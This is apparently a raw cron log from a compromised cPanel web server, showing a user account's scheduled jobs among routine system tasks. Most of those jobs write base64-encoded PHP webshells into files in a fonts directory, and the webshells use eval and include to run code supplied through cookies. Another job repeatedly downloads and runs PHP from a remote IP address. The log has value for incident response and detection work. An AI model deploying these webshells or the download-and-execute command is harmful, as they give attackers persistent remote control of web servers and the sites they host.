Sep 11 01:20:01 ip-184-168-122-23 CROND[7348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:20:01 ip-184-168-122-23 CROND[7350]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:20:01 ip-184-168-122-23 CROND[7349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:20:01 ip-184-168-122-23 CROND[7346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:21:01 ip-184-168-122-23 CROND[7444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:21:01 ip-184-168-122-23 CROND[7446]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:21:01 ip-184-168-122-23 CROND[7449]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:21:01 ip-184-168-122-23 CROND[7447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:22:01 ip-184-168-122-23 CROND[7529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:22:01 ip-184-168-122-23 CROND[7530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:22:01 ip-184-168-122-23 CROND[7532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:22:01 ip-184-168-122-23 CROND[7534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:22:01 ip-184-168-122-23 CROND[7535]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:23:01 ip-184-168-122-23 CROND[7624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:23:01 ip-184-168-122-23 CROND[7626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:23:01 ip-184-168-122-23 CROND[7627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:23:01 ip-184-168-122-23 CROND[7628]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:24:01 ip-184-168-122-23 CROND[7716]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:24:01 ip-184-168-122-23 CROND[7717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:24:01 ip-184-168-122-23 CROND[7721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:24:01 ip-184-168-122-23 CROND[7720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:24:01 ip-184-168-122-23 CROND[7722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:25:01 ip-184-168-122-23 CROND[7813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:25:01 ip-184-168-122-23 CROND[7818]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:25:01 ip-184-168-122-23 CROND[7817]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:25:01 ip-184-168-122-23 CROND[7821]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:25:01 ip-184-168-122-23 CROND[7815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:25:01 ip-184-168-122-23 CROND[7819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:26:01 ip-184-168-122-23 CROND[8007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:26:01 ip-184-168-122-23 CROND[8006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:26:01 ip-184-168-122-23 CROND[8005]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:26:01 ip-184-168-122-23 CROND[8008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:26:01 ip-184-168-122-23 CROND[8010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:27:01 ip-184-168-122-23 CROND[8098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:27:01 ip-184-168-122-23 CROND[8100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:27:01 ip-184-168-122-23 CROND[8101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:27:01 ip-184-168-122-23 CROND[8102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:28:01 ip-184-168-122-23 CROND[8177]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:28:01 ip-184-168-122-23 CROND[8180]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:28:01 ip-184-168-122-23 CROND[8179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:28:01 ip-184-168-122-23 CROND[8181]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:28:01 ip-184-168-122-23 CROND[8182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:29:01 ip-184-168-122-23 CROND[8269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:29:01 ip-184-168-122-23 CROND[8270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:29:01 ip-184-168-122-23 CROND[8271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:29:01 ip-184-168-122-23 CROND[8274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:30:01 ip-184-168-122-23 CROND[8380]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:30:01 ip-184-168-122-23 CROND[8382]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 01:30:01 ip-184-168-122-23 CROND[8386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:30:01 ip-184-168-122-23 CROND[8388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:30:01 ip-184-168-122-23 CROND[8387]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:30:01 ip-184-168-122-23 CROND[8385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:30:01 ip-184-168-122-23 CROND[8390]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:30:01 ip-184-168-122-23 CROND[8389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:31:01 ip-184-168-122-23 CROND[8564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:31:02 ip-184-168-122-23 CROND[8568]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 01:31:02 ip-184-168-122-23 CROND[8569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:31:02 ip-184-168-122-23 CROND[8570]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 01:31:02 ip-184-168-122-23 CROND[8574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:32:01 ip-184-168-122-23 CROND[8649]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 01:32:01 ip-184-168-122-23 CROND[8654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 01:32:01 ip-184-168-122-23 CROND[8655]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
